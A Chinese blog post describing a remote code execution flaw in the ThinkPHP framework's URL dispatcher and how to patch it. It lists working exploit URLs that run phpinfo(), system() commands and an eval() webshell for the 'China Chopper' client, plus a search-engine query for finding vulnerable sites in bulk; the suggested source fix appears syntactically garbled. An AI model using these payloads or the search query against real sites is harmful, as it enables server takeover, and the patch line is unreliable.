ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
十天学会php之第十天
Oct 09 PHP
Adodb的十个实例(清晰版)
Dec 31 PHP
php 变量定义方法
Jun 14 PHP
PHP 正则表达式之正则处理函数小结(preg_match,preg_match_all,preg_replace,preg_split)
Oct 05 PHP
使用php检测用户当前使用的浏览器是否为IE浏览器
Dec 03 PHP
php断点续传之如何分割合并文件
Mar 22 PHP
php异步多线程swoole用法实例
Nov 14 PHP
PHP实现链式操作的核心思想
Jun 23 PHP
PHP图片水印类的封装
Jul 06 PHP
ubutu 16.04环境下,PHP与mysql数据库,网页登录验证实例讲解
Jul 20 PHP
使用PHP连接数据库_实现用户数据的增删改查的整体操作示例
Sep 01 PHP
php微信扫码支付 php公众号支付
Mar 24 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
浅谈apache和nginx的rewrite的区别
2013/02/22 PHP
php实现下载限制速度示例分享
2014/02/13 PHP
CI框架无限级分类+递归的实现代码
2016/11/01 PHP
详解Yii实现分页的两种方法
2017/01/14 PHP
JS打开新窗口的2种方式
2013/04/18 Javascript
JavaScript对象和字串之间的转换实例探讨
2013/04/21 Javascript
JSON无限折叠菜单编写实例
2013/12/16 Javascript
append和appendTo的区别以及appendChild用法
2013/12/24 Javascript
单击某一段文字改写文本颜色
2014/06/06 Javascript
js正则表达式匹配数字字母下划线等
2015/04/14 Javascript
JQuery实现简单的图片滑动切换特效
2015/11/22 Javascript
javascript DIV实现跟随鼠标移动
2020/03/19 Javascript
浅谈JavaScript函数的四种存在形态
2016/06/08 Javascript
jQuery实现字符串全部替换的方法
2016/12/12 Javascript
javascript实现根据函数名称字符串动态执行函数的方法示例
2016/12/28 Javascript
underscore之Chaining_动力节点Java学院整理
2017/07/10 Javascript
jQuery初级教程之网站品牌列表效果
2017/08/02 jQuery
深入理解 webpack 文件打包机制(小结)
2018/01/08 Javascript
js实现按钮开关单机下拉菜单效果
2018/11/22 Javascript
vue-i18n结合Element-ui的配置方法
2019/05/20 Javascript
JavaScript中数组去重的5种方法
2020/07/04 Javascript
vue设置默认首页的操作
2020/08/12 Javascript
用Javascript实现发送短信验证码间隔功能
2021/02/08 Javascript
k8s node节点重新加入master集群的实现
2021/02/22 Javascript
python executemany的使用及注意事项
2017/03/13 Python
Numpy的简单用法小结
2019/08/28 Python
Python使用enumerate获取迭代元素下标
2020/02/03 Python
Python for循环搭配else常见问题解决
2020/02/11 Python
学python爬虫能做什么
2020/07/29 Python
体育口号大全
2014/06/18 职场文书
舞蹈兴趣小组活动总结
2014/07/07 职场文书
交警作风整顿剖析材料
2014/10/11 职场文书
高考作弊检讨书1500字
2015/02/16 职场文书
2015年班主任德育工作总结
2015/05/21 职场文书
自荐信范文
2019/05/20 职场文书
2020年基层司法所建设情况调研报告
2019/11/30 职场文书